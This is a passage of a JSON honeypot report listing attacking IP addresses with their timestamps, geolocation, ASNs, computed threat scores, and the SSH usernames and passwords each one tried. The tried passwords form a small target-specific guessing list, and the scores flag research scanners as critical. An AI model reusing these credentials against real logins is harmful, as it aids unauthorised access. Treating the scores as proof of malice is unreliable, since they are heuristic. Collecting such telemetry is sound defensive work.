      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Ciscoasa": 2
      }
    },
    "185.93.89.45": {
      "attack_count": 10,
      "first_seen": "2026-03-05T23:46:10.999Z",
      "last_seen": "2026-03-06T05:58:35.911Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "#2025kelltech",
        "kelltech123@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.1,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:44:49.616000+00:00",
        "last_seen_30d": "2026-03-14T18:14:19.237000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Heralding": 22,
        "Cowrie": 10
      }
    },
    "35.233.46.170": {
      "attack_count": 10,
      "first_seen": "2026-03-02T11:54:47.869Z",
      "last_seen": "2026-03-02T11:54:54.772Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:54:47.869000+00:00",
        "last_seen_30d": "2026-03-02T11:56:04.303000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "77.90.185.48": {
      "attack_count": 10,
      "first_seen": "2026-03-06T01:59:52.499Z",
      "last_seen": "2026-03-06T05:27:17.097Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "2024@Kelltech",
        "kelltech@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:43:43.098000+00:00",
        "last_seen_30d": "2026-03-06T05:28:19.195000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Heralding": 1
      }
    },
    "68.183.102.75": {
      "attack_count": 9,
      "first_seen": "2026-03-04T02:14:43.590Z",
      "last_seen": "2026-03-04T02:17:20.964Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        " "
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T02:14:43.590000+00:00",
        "last_seen_30d": "2026-03-04T02:18:24.749000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "198.235.24.66": {
      "attack_count": 8,
      "first_seen": "2026-03-07T04:56:29.720Z",
      "last_seen": "2026-03-14T22:43:28.850Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T12:07:47.411000+00:00",
        "last_seen_30d": "2026-03-31T16:11:05.585000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Honeytrap": 42,
        "Cowrie": 8,
        "Ciscoasa": 2,
        "Wordpot": 1
      }
    },
    "205.210.31.103": {
      "attack_count": 8,
      "first_seen": "2026-03-06T10:41:27.787Z",
      "last_seen": "2026-03-13T16:10:41.771Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T19:55:29+00:00",
        "last_seen_30d": "2026-03-31T20:14:22.920000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 36,
        "Cowrie": 8
      }
    },
    "62.108.185.197": {
      "attack_count": 8,
      "first_seen": "2026-03-24T15:48:42.067Z",
      "last_seen": "2026-03-24T15:49:16.404Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Koszalin",
      "asn": 28797,
      "as_org": "Technical University of Koszalin",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T15:48:42.067000+00:00",
        "last_seen_30d": "2026-03-24T15:50:24.084000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "167.94.138.121": {
      "attack_count": 6,
      "first_seen": "2026-03-10T18:31:40.554Z",
      "last_seen": "2026-03-10T18:32:24.928Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 56.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 21,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T08:18:12.298000+00:00",
        "last_seen_30d": "2026-03-23T11:55:24.632000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 30,
        "Cowrie": 6,
        "H0neytr4p": 3
      }
    },
    "167.94.138.207": {
      "attack_count": 6,
      "first_seen": "2026-03-18T18:37:27.158Z",
      "last_seen": "2026-03-18T18:38:01.842Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 18,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T10:51:15+00:00",
        "last_seen_30d": "2026-03-20T18:24:44.833000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 40,
        "Cowrie": 6,
        "Ipphoney": 2,
        "Dionaea": 1
      }
    },
    "45.142.154.106": {
      "attack_count": 6,
      "first_seen": "2026-03-18T16:52:44.394Z",
      "last_seen": "2026-03-18T16:52:59.650Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.8,
        "persistence": 19.2,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 23,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T17:10:35+00:00",
        "last_seen_30d": "2026-03-27T23:29:34.305000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 48,
        "Cowrie": 6
      }
    },
    "111.229.67.242": {
      "attack_count": 5,
      "first_seen": "2026-03-15T04:13:35.588Z",
      "last_seen": "2026-03-15T04:13:38.749Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "business"
      ],
      "passwords_attempted": [
        "business123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T04:13:35.588000+00:00",
        "last_seen_30d": "2026-03-15T04:14:46.557000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "117.128.86.100": {
      "attack_count": 5,
      "first_seen": "2026-03-05T22:00:49.682Z",
      "last_seen": "2026-03-05T22:00:51.786Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Hello@1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56048,
      "as_org": "China Mobile Communicaitons Corporation",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T22:00:49.682000+00:00",
        "last_seen_30d": "2026-03-05T22:01:54.751000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "185.220.101.180": {
      "attack_count": 5,
      "first_seen": "2026-03-04T22:21:20.089Z",
      "last_seen": "2026-03-04T22:21:29.211Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Itsemoemo2024@Washere2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 62.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 21.7,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 26,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:26:30+00:00",
        "last_seen_30d": "2026-03-27T11:37:21.362000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 5,
        "H0neytr4p": 3,
        "Honeytrap": 3,
        "Tanner": 2
      }
    },
    "185.93.89.60": {
      "attack_count": 5,
      "first_seen": "2026-03-05T22:22:31.421Z",
      "last_seen": "2026-03-05T22:22:33.771Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "kelltech@2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:28:14.287000+00:00",
        "last_seen_30d": "2026-03-05T22:23:38.617000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "213.169.44.220": {
      "attack_count": 5,
      "first_seen": "2026-03-03T14:46:01.938Z",
      "last_seen": "2026-03-03T14:46:05.479Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345678q"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 8717,
      "as_org": "A1 Bulgaria EAD",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:46:01.938000+00:00",
        "last_seen_30d": "2026-03-03T14:47:13.608000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "40.76.124.195": {
      "attack_count": 5,
      "first_seen": "2026-03-13T06:39:30.868Z",
      "last_seen": "2026-03-13T06:39:41.273Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.9,
        "persistence": 22.5,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 27,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T08:14:33.362000+00:00",
        "last_seen_30d": "2026-03-29T19:19:36.039000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 6,
        "Cowrie": 5,
        "Dionaea": 3,
        "Tanner": 1
      }
    },
    "80.67.167.81": {
      "attack_count": 5,
      "first_seen": "2026-03-09T18:05:00.239Z",
      "last_seen": "2026-03-09T18:05:04.248Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "support"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2024support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 2027,
      "as_org": "MilkyWan Association",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T16:55:03+00:00",
        "last_seen_30d": "2026-03-09T18:06:08.659000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "H0neytr4p": 9,
        "Cowrie": 5
      }
    },
    "91.206.26.26": {
      "attack_count": 5,
      "first_seen": "2026-03-04T10:57:02.414Z",
      "last_seen": "2026-03-04T10:57:07.708Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "Itsemoemo2024@Washere2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 51290,
      "as_org": "Hosteam S.c. Tomasz Groszewski Bartosz Waszak Lukasz Groszewski",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T16:36:45+00:00",
        "last_seen_30d": "2026-03-04T10:58:11.038000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "H0neytr4p": 2
      }
    },
    "209.38.193.203": {
      "attack_count": 4,
      "first_seen": "2026-03-11T14:27:07.005Z",
      "last_seen": "2026-03-11T14:27:08.314Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:27:07.005000+00:00",
        "last_seen_30d": "2026-03-12T16:09:51.067000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 4
      }
    },
    "36.32.200.231": {
      "attack_count": 4,
      "first_seen": "2026-03-31T11:08:47.050Z",
      "last_seen": "2026-03-31T11:08:47.610Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T11:08:47.050000+00:00",
        "last_seen_30d": "2026-03-31T11:09:53.321000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "91.231.89.238": {
      "attack_count": 4,
      "first_seen": "2026-03-07T04:16:18.524Z",
      "last_seen": "2026-03-28T13:47:37.764Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 30,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T02:43:26.832000+00:00",
        "last_seen_30d": "2026-03-31T17:48:37.899000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 137,
        "Honeytrap": 39,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "103.69.77.26": {
      "attack_count": 2,
      "first_seen": "2026-03-26T07:54:37.409Z",
      "last_seen": "2026-03-26T07:54:50.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 64072,
      "as_org": "EVOLUTION NET Internet Service Provider",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:54:37.409000+00:00",
        "last_seen_30d": "2026-03-26T07:55:53.263000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.43.18.155": {
      "attack_count": 2,
      "first_seen": "2026-03-21T02:09:44.904Z",
      "last_seen": "2026-03-21T02:09:58.140Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jeonju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T02:09:44.904000+00:00",
        "last_seen_30d": "2026-03-21T02:11:06.892000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.152.233.101": {
      "attack_count": 2,
      "first_seen": "2026-03-09T02:34:57.845Z",
      "last_seen": "2026-03-09T02:35:10.744Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 136525,
      "as_org": "Wancom Pvt Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:34:57.845000+00:00",
        "last_seen_30d": "2026-03-09T02:36:12.535000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.241.254.146": {
      "attack_count": 2,
      "first_seen": "2026-03-19T18:37:26.754Z",
      "last_seen": "2026-03-19T18:37:42.276Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 131596,
      "as_org": "TBC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T18:37:26.754000+00:00",
        "last_seen_30d": "2026-03-19T18:38:44.292000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "158.222.137.222": {
      "attack_count": 2,
      "first_seen": "2026-03-19T17:55:31.939Z",
      "last_seen": "2026-03-19T17:55:45.170Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 12271,
      "as_org": "Charter Communications Inc",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T17:55:31.939000+00:00",
        "last_seen_30d": "2026-03-19T17:56:50.787000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.75.8.30": {
      "attack_count": 2,
      "first_seen": "2026-03-10T06:17:26.655Z",
      "last_seen": "2026-03-10T06:17:58.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bras\u00edlia",
      "asn": 28178,
      "as_org": "Networld Provedor e Servicos de Internet Ltda",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
